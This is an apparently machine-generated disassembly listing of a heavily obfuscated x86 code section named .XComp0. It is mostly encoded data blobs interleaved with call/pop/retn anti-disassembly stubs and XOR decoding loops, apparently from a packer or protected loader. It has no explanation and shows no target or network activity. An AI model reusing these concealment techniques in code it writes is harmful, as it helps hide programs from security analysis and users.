sub_5C228D	proc near		; CODE XREF: .XComp0:005C2285p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5C228D	endp

; ---------------------------------------------------------------------------
		db 89h,	77h, 0B7h
		dd 0F1932ECDh, 6A5CA8h,	95FFFE8Bh, 5F91AEDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 56C35343h, 8A5D8598h
		dd 1036B9DAh, 870F0000h, 1Fh, 0CE8h, 7BE4C700h,	100C8AB9h
		dd 95B34634h, 8E9FCh, 33C40000h, 3651675Dh, 815BB8BCh
		dd 7AE939D3h, 0FCE1831Bh, 61D38166h, 0BF0FFC92h, 0B8D9h
		dd 81660000h, 0BA4994DBh, 0
; ---------------------------------------------------------------------------
		clc


loc_5C231D:				; CODE XREF: .XComp0:005C2327j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C231D
		push	0
		push	esi
		call	sub_5C2334
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2334	proc near		; CODE XREF: .XComp0:005C232Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C2334	endp

; ---------------------------------------------------------------------------
		dd 7E2E410h, 30DBD2F2h,	50FC8AF9h, 6A5BF9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0D1F7ACC3h
		dd 0D288310h, 88h, 81666060h, 0F9AFAF3h, 8Bh, 0EF816100h
		dd 382DCF70h, 0DD958B61h, 6605F90Ch, 8BD6E0BBh,	0F926C18Dh
		dd 6890F05h, 1000000h, 0F9343185h, 0C28B5005h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0F92681BDh, 68C0F05h
		dd 8B000000h, 0F900899Dh, 0C9950105h, 8305F91Fh, 0F91159BDh
		dd 840F0005h, 32h, 0B8h, 0F6BB6600h, 0E88D8D16h, 6A05F94Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 81D9C353h, 0FB531F63h, 0BD83E1FFh, 5F900FDh
		dd 3C840F00h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0DFFAC357h,	74739E56h
		dd 0A2B22F52h, 0FDBD83h, 0F0105F9h, 32584h, 51DF8100h
		dd 6649AD61h, 0BD83FB8Bh, 5F900FDh, 0D9860F03h,	6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 1A31C351h, 5B76BE4Fh, 9D2BFCE7h, 5F925B5h
		dd 0BD8B60FCh, 5F93315h, 66E0CF80h, 9D8BD98Ch, 5F904E9h
		dd 13E9h, 0BB347300h, 6F932CF6h, 630709A2h, 97C83685h
		dd 6FA6EF20h, 0F04E180h, 0C90AFFBFh, 104840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 16DB68C3h, 0E272B4DBh, 0FE8B66D5h, 8BFB8B66h, 0F9259985h
		dd 8533F905h, 5F9042Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 9C35343h, 6090C6B3h, 0F525060h, 0F585A31h
		dd 8Dh,	0FA8B6100h, 52505061h, 0C8B7310Fh, 3190585Ah, 0F9209D8Dh
		dd 0E9006A05h, 0Ch, 74B40530h, 699149EDh, 2E687471h, 8A0E5868h
		dd 0D2BF6662h, 24348116h, 62950DA7h, 1025BD09h,	95FF05F9h
		dd 5F92AC5h, 11E9h, 0DA237500h,	685E42BFh, 68EFC268h, 2CC19C3h
		dd 0BF666F36h, 85898464h, 5FCFC21h, 0E831CB81h,	5CE95FCCh
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F965C352h, 0E9196865h, 0Eh, 7D74C436h
		dd 0FB1A453Eh, 174FE9F5h, 858BE910h, 5FCFC19h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A5C35747h, 0AD77CFABh
		dd 0F4D40022h, 0E781661Ch, 0C7B71Bh, 18h, 0B58BDE8Bh, 5FCFC1Dh
		dd 0F59D89h, 858B05F9h,	5F92B89h, 33019D89h, 68905F9h
		dd 2599858Bh, 5B5005F9h, 0BB044689h, 697E91D7h,	0F536050h
		dd 88h,	8B665F00h, 348961F8h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B5FF427Fh
		dd 5FCFC19h, 0C3BCEB81h, 4E83689h, 0FF000000h, 8A001F03h
		dd 0BF6650DCh, 448BE6BAh, 52500424h, 7E9310Fh, 74000000h
		dd 0A5B9AC83h, 585A1031h, 4489008Bh, 0FE8B0424h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0E325956h, 0F2A20EFFh, 0C781667Fh, 858DB244h, 5FCFC21h
		dd 0F4D8589h, 0BB6605F9h, 5090587Ah, 7305BB66h,	0C595FF90h
		dd 0E805F92Ah, 0Dh, 3924CFC2h, 221B9A3Ch, 55A9126Eh, 0E4CEBBC2h
		dd 615F174Fh, 0DF8402BFh, 0FD85C766h, 305F900h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0DCB4C351h, 0BD838045h, 5FCFC21h,	0D840F00h
		dd 66000000h, 680BC381h, 1EE9h,	0DABF0F00h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0B509C357h, 0B13792C7h, 0BD8B56C3h, 5F90B01h, 53006A5Bh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD83910Ah, 5F900FDh, 23850F03h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0AC46C356h, 0A643BE92h, 0BD83C37Bh, 5FCFC21h, 0F3840F00h
		dd 89000003h, 0F9177DB5h, 21B5FF05h, 6605FCFCh,	3311CF81h
		dd 1AAD95FFh, 0E95005F9h, 14h, 0ACCA082Dh, 73F31D56h, 71F6363Bh
		dd 2531C0EBh, 1FD00377h, 0D681605Fh, 579029D1h,	15318523h
		dd 8B6105F9h, 0FCFC15B5h, 1D852905h, 0C705F917h, 1000106h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 71026990h, 6074895Fh, 6E98Dh, 9A500000h
		dd 1B635D57h, 7E950h, 3BCD0000h, 2F1C3098h, 243489DCh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 14C35646h
		dd 0A633F7CEh, 416DBFEBh, 21B5FF86h, 8105FCFCh,	0DC8B98F7h
		dd 0BEBF6609h, 2995FF6Ah, 6A05F927h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E46EC350h
		dd 5870F70h, 0BB000000h, 3D94BA4Eh, 0FC15B58Bh,	6A05FCh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 39BDCEC3h, 0D496FC7Bh, 0F88BE9B2h, 1809858Bh, 6A05F9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 64D33BC3h, 0A82460D5h, 0BD0BAB19h, 5F919EDh,	8689FA8Bh
		dd 0C4h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	5BC35646h, 0E877CE94h, 5, 0DA62FE0Ah, 890F6098h
		dd 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+5F912F9h]
		popa
		pop	edi
		mov	edx, [ebp+5F90CDDh]
		mov	edi, [ebp+5F933F5h]
		add	edx, 4
		push	0
		push	ecx
		call	sub_5C29C2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C29C2	proc near		; CODE XREF: .XComp0:005C29BAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C29C2	endp

; ---------------------------------------------------------------------------
		dw 0FE0h
		dd 5089FFB7h, 1A8B0F20h, 0E8000000h, 14h, 6296A28Ah, 0E05ECA82h
		dd 0AAD1D1E6h, 973A998h, 442952F6h, 0E9858D5Bh,	0F805FD10h
		dd 311D8589h, 868905F9h, 0B8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 3CC35040h, 3115F136h, 319673E0h
		dd 0E9006A23h, 8, 0BAAB6A6Ah, 0BECF7CE3h, 0FC21B5FFh, 816605FCh
		dd 0FFC981E7h, 0F9009995h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 805C0202h
		dd 8C0FE5C3h, 6, 968FD381h, 50961431h, 8B96DE8Ah, 0F9258DBDh
		dd 21B5FF05h, 0F05FCFCh, 885h, 28D0F00h, 8B000000h, 6995FFFAh
		dd 6605F935h, 0BD83FE8Bh, 5F917F5h, 28840F00h, 0E8000000h
		dd 0Ch,	446FF16h, 900E1D33h, 2668DCE9h,	815FFE8Bh, 155963C7h
		dd 8B669652h, 0F88B50FBh, 6DB58996h, 0FF05F907h, 0FCFC21B5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 31BD8970h, 0FF05F917h, 0F92E6D95h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 82257AFAh, 0E9B26FA3h, 6, 474F19C4h,	0B5FFC77Eh, 5FCFC21h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E5C35646h
		dd 8840FD5h, 57000000h,	850Fh, 0FF5B0000h, 0F921DD95h
		dd 85895305h, 5F91075h,	2DBD835Bh, 205F90Ah, 59840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 6939EBC3h, 858BB969h, 5F91151h, 2715BD8Bh, 0C605F9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 31B418A1h, 0F9260DBDh, 0D5858905h, 0C705F90Ch
		dd 0F9331985h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C571088Ah, 15419D8Bh
		dd 14E905F9h, 6AFFFFF5h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0FBDAC356h,	0C11501B5h
		dd 0D59D89h, 0C18B05F9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 0C6C35141h, 9D8B4420h, 5F90399h, 0DC1858Dh
		dd 0B52905F9h, 5F90811h, 8B665090h, 6A90FEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0AF1647C3h
		dd 6A006A67h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 5DC1C357h, 0E919C6BDh,	741861DBh
		dd 115DB531h, 6A05F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0E0C35343h, 0DAD586D9h, 13DEF1F1h, 0D1B52993h
		dd 8905F931h, 0F9217D9Dh, 0BA858D05h, 6605FE78h, 9273F781h
		dd 6605C083h, 5014C4BBh, 17830Fh, 12E90000h, 19000000h
		dd 0B21E706h, 0DA4C7B69h, 5237EDE2h, 0A0C4A2A0h, 240489E4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0A9C35242h
		dd 0BBC93FBFh, 6A006A11h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 3B6FC356h, 6B54CF72h
		dd 0F1B58957h, 6A05F92Ah, 1D858900h, 0FF05F928h, 0F913ED95h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 7A09DDAh, 3AEB0300h, 8810Fh, 8C0F0000h
		dd 2, 8D8D5F51h, 5FCE983h, 89DBD8Bh, 0D1FF05F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 38C35747h, 0FBE44775h
		dd 58F0Fh, 0B8BB0000h, 89376258h, 0F91E4995h, 93BF6605h
		dd 85BD8389h, 105F917h,	0AD850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 42B154C3h
		dd 0FF064D0h, 9D8BDFB7h, 5F90049h, 9D2B026Ah, 5F93161h
		dd 0EE96090h, 74000000h, 0D56BE220h, 1E472F6Dh,	495640BCh
		dd 613BB094h, 905B5750h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0D4C35040h, 0BE8E19Eh, 49000000h, 0EAAF0324h
		dd 0B5E0A3CDh, 8D890358h, 5F92B21h, 0C0BF665Fh,	9995FF10h
		dd 6A05F900h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 6150C350h, 0E9CC4B07h,	0E98h
		dd 0E8h, 0ED815D00h, 5FE78C4h, 2279BD8Bh, 8B0F05F9h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+5F92B81h],	ebx
		lea	eax, [ebp+5FCD97Ch]
		push	0
		push	esi
		call	sub_5C2EDB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2EDB	proc near		; CODE XREF: .XComp0:005C2ED3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5C2EDB	endp

; ---------------------------------------------------------------------------
		db 0D5h
		dd 0D451F573h, 50535017h, 0FFC8A52h, 5ADE8A31h,	4895B58h
		dd 64D88A24h, 35FFh, 9D8B0000h,	5F90791h, 258964h, 0E8000000h
		dd 11h,	128E1136h, 397E6189h, 74DC3586h, 0DD1330D5h, 81BF66D8h
		dd 85FF5FEFh, 5F9197Dh,	0F0E6BF66h, 539BF66h, 6AFF6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 4A42B3C3h, 0E5B4D440h, 60F88B16h, 2C91B509h,	815305F9h
		dd 24E278C9h, 0FF615876h, 0F92A69B5h, 0A1BD8B05h, 0FF05F928h
		dd 0F9091195h, 0E1E905h, 0BD310000h, 5F90B25h, 34118D89h
		dd 0B005F9h, 0FEF38166h, 0E470E67Bh, 0E1950971h, 3C05F925h
		dd 0BC830F61h, 8B000000h, 0C8B60FF9h, 0C319589h, 6BA05F9h
		dd 66000000h, 0C18BD88Bh, 0D1DF8166h, 4E8C151h,	59E76BBh
		dd 0E2F76627h, 8166C82Bh, 8B3751C7h, 0DFBF0FD1h, 86E9h
		dd 6890F00h, 89000000h,	0F92B0995h, 4C858B05h, 0F505F4Ch
		dd 0C88h, 81666000h, 0BFE7CDEFh, 13AFE408h, 7C08361h, 8E9h
		dd 0FAA4D100h, 545A0F9Eh, 0C083B4h, 0FD03BFCh, 0E83h, 38A0F00h
		dd 66000000h, 38E9F98Bh, 8B000000h, 0FFFFFF8Dh,	3D9D8BFFh
		dd 8305F914h, 840F01E1h, 23h, 28F99D89h, 0A58305F9h, 0FFFFFFFFh
		dd 0D38166FEh, 95890469h, 505F4C4Ch, 18AD9D8Bh,	0E905F9h
		dd 8D000000h, 0FDF031B5h, 958D8905h, 6A05F913h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 3FBFADC2h, 8B9C66C3h, 0ED95FFDFh, 6A05F91Ah,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 82B6C352h, 0B9DEEAD6h, 0FD5h, 1D890Fh, 0E8600000h, 0Fh
		dd 0A1530D14h, 0BC6E8409h, 895B9030h, 5A9156D8h, 8B0Fh
		dd 83610000h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 5F2368C3h, 2C8B1F0Bh, 33A7BB56h
		dd 6AFC17CFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 56AAC353h, 2BA125B3h, 6AC02Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 8065C3h, 0BA82h, 0ECB70000h,	0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 12E9h, 46807B00h, 1B65EA77h, 4FBEE627h
		dd 5CB78012h, 0F80717CCh, 880Dh, 5850F00h, 66000000h, 0A19AE381h
		dd 8B0BD380h, 0F90CDD95h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 9358E5BEh
		dd 0EB8ABE7Bh, 0D3816603h, 8D8BEAB7h, 5F926C1h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4EC35747h, 311D1C5Eh
		dd 0C8ECCB78h, 3E0FF381h, 8B503188h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0A3C35040h, 0B589DCFBh, 5F92911h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 57C35747h, 0D1BD8918h
		dd 8305F927h, 0F91159BDh, 840F0005h, 57h, 7E8h,	692D6600h
		dd 7F057DC5h, 2049BD8Bh, 0B85B05F9h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5F90B39h]
		lea	ecx, [ebp+5F94EE8h]
		add	edi, [ebp+5F9277Dh]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C3297
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3297	proc near		; CODE XREF: .XComp0:005C328Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C3297	endp

; ---------------------------------------------------------------------------
		db 3Ah
		dd 60A666FDh, 0B3FE3D8Fh, 54BFF94Dh, 83638F4Ch,	0F900FDBDh
		dd 840F0005h, 454h, 83FABF0Fh, 0F900FDBDh, 840F0105h, 45Fh
		dd 13800Fh, 0EE90000h, 3C000000h, 9F3DF62Ah, 6B9B33DAh
		dd 0DB25CD8Ch, 0FDBD83BDh, 305F900h, 403860Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0A113AC3h, 60A1D0C5h, 0F3AF41BBh, 0E381665Ah, 8C6665F7h
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 4E1806Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 3EC35545h, 840FC90Ah,	0CBh, 66F6E380h
		dd 858BDE8Bh, 5F92599h,	76D9D89h, 858905F9h, 5F9293Dh
		dd 42D8533h, 665005F9h,	89EA9ABFh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BE9DA0C3h
		dd 6A006A34h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 90D2C353h, 0E5FE170Dh,	0E268AA98h
		dd 66306018h, 3481FB8Bh, 7F1B1D24h, 6880F30h, 8B000000h
		dd 0F90799BDh, 0C595FF05h, 0F05F92Ah, 68Bh, 0E5958900h
		dd 8905F911h, 0FCFC2185h, 0C3816605h, 7AE95301h, 6A000002h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 54D2C350h, 0D1BFBA0Ch, 8B4A8219h,	0FCFC1985h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 9E241E3Fh, 35C364B1h, 0C7F977h, 18h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0FC35343h, 661C2271h
		dd 62C9CB81h, 0FC1DB58Bh, 6A05FCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 1B990C3h, 0F1313431h
		dd 2B89858Bh, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 83CCC8C3h, 89524884h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0CB41D8AAh, 14E98507h, 0D000000h, 169AD9BCh,	0F7BC8304h
		dd 3AD99C61h, 1B84A42Bh, 8B5A9D64h, 0F9259985h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D8B7DFDh, 5F92585h,	0D8756DBBh, 4468944h, 32F1BD8Bh
		dd 665005F9h, 3489F98Bh, 0FFDA8B24h, 0FCFC19B5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 8AD98C17h, 68D88B66h, 92448A85h, 7E95250h, 0C1000000h
		dd 0C603AD5Eh, 310FBBF7h, 0DE8h, 4299AF00h, 51F4B7A8h
		dd 98F1E345h, 0FE86A16h, 16000000h, 8F3DE6F4h, 71688D30h
		dd 86BB725h, 5F5BF648h,	481585Ah, 0DA797A24h, 0E0BB666Dh
		dd 21858DC6h, 6A05FCFCh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0AC2C353h, 0D6DC4FA8h
		dd 0AE93D5Ch, 5C000000h, 3111235Ah, 0D3876B24h,	659D8B30h
		dd 9005F92Eh, 0F2BF5250h, 0F519662h, 81BB6631h,	50585A39h
		dd 0DE8B6660h, 0BDB9BA66h, 6A9061h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 69D768C3h
		dd 0DB21974Fh, 18860FB9h, 0E9000000h, 13h, 14CEB371h, 8A11BA21h
		dd 0A1530D14h, 0BC6E8409h, 0FF5B9030h, 0F92AC595h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 895F51D5h, 0F9145985h, 81666105h, 0C71522DBh, 0F900FD85h
		dd 305h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0C2231D46h, 21BD83A8h, 5FCFCh, 33840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8D8982C3h, 5F92DF9h, 28B9BD8Bh, 21E905F9h
		dd 89000000h, 0F91B1185h, 0C305005h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 68A0F56h, 8B000000h,	0F90C459Dh
		dd 6A5B05h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0EF2AC7C3h, 5961AA80h, 0EE85Bh, 13590000h
		dd 7386CF54h, 0B5ACFF7Ch, 5231F78Ch, 14E9h, 7B601200h
		dd 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 1B1E0C78h,	0BD835B66h
		dd 5F900FDh, 25850F03h,	8B000005h, 0F91469BDh, 21BD8305h
		dd 5FCFCh, 512840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 3F3AD5C3h, 0AE895D4h
		dd 0A5000000h, 0AEBF3F5h, 0C820467h, 0E9BD8B88h, 5B05F924h
		dd 0FC21B5FFh, 6A05FCh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0D8AB80C3h, 3E7E0C58h, 1AAD95FFh
		dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 80F6BEC3h, 0B58B87E7h, 5FCFC15h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0AFC35545h, 0E93B1720h
		dd 11h,	0C9825BB3h, 0CE18EBE9h,	2E6FCF33h, 0B0FD345Dh
		dd 106C7BDh, 6A000100h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 6AEFC350h, 0F37EBBEh
		dd 0B8Fh, 58D0F00h, 66000000h, 487AEB81h, 0FB8B6696h, 0F525050h
		dd 0FE831h, 66D50000h, 4CE7EB0Eh, 74AA05E6h, 21DFBB4Bh
		dd 5BFEB313h, 6A96585Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 414FC352h, 6CBD1310h
		dd 9D89C288h, 5F919C9h,	0B5FF5F57h, 5FCFC21h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4DC35646h, 0C208153Eh
		dd 95FF764Fh, 5F92729h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0B3C35040h, 7617B559h, 8F0FA952h, 3
		dd 8B4BC780h, 0FCFC15B5h, 9B58905h, 8B05F919h, 0F9180985h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0CA2D019Dh, 0BE9A85Fh, 45000000h, 0C502B502h
		dd 4A58A98h, 8689E5C8h,	0C4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0E5C35242h,	8B34F1A7h, 0F90CDD95h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0F201083Ah, 541D511Ch, 0A98D8961h, 8305F934h
		dd 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 1D2557C3h, 0E8205089h, 9,	0B7B2420Bh, 3849E29Eh
		dd 0CF816658h, 8D5B3B10h, 0FD10E985h
		db 5
; ---------------------------------------------------------------------------


loc_5C3A41:				; DATA XREF: .XComp0:off_44DDA0o
		push	0


loc_5C3A43:				; DATA XREF: .XComp0:off_44F76Co
		push	edx


loc_5C3A44:				; DATA XREF: .XComp0:off_44F774o
		call	sub_5C3A4C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3A4C	proc near		; CODE XREF: .XComp0:loc_5C3A44p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C3A4C	endp

; ---------------------------------------------------------------------------
		dd 5B9F4491h, 0D99589DEh, 8905F909h, 0F92E5DB5h, 0B8868905h
		dd 8B000000h, 0F911E19Dh, 6A006A05h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0DC6FC353h
		dd 4159501h, 8B6605F9h,	21B5FFD8h, 6A05FCFCh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 2F6DC355h, 40BC1E47h, 0CE9h,	0A1057700h, 5535E90Bh
		dd 241D61C6h, 9995FF97h, 0F05F900h, 0B84h, 58D0F00h, 66000000h
		dd 7651DF81h, 0CE850h, 0FF730000h, 0D913ACDDh, 4D5EE187h
		dd 5B51F89Eh, 2434895Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 69C35040h, 7443D4ADh,	0EDB589E2h, 6605F918h
		dd 425FCF81h, 0FC21B5FFh, 6A05FCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 6D770FC3h, 6995FFC9h
		dd 0E805F935h, 0Ch, 5CD5F819h, 43F15CEAh, 33474AC3h, 18299D8Bh
		dd 835B05F9h, 0F917F5BDh, 840F0005h, 4Ch, 14E8h, 10221D00h
		dd 48DE44CAh, 12A0627Ch, 658070DBh, 76F93479h, 965FF53Ch
		dd 8CA5BE60h, 6656651Eh, 5E5589BFh, 6A965061h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 34C351h, 0D88B6636h,	0FC21B5FFh, 8ABB05FCh, 8B71D40Ch
		dd 0F933E9BDh, 6D95FF05h, 6A05F92Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 53CDC357h
		dd 21B5FF61h, 6A05FCFCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 8A0CC350h, 859F2E81h
		dd 6681F10Ah, 0FFB6CCBFh, 0F921DD95h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
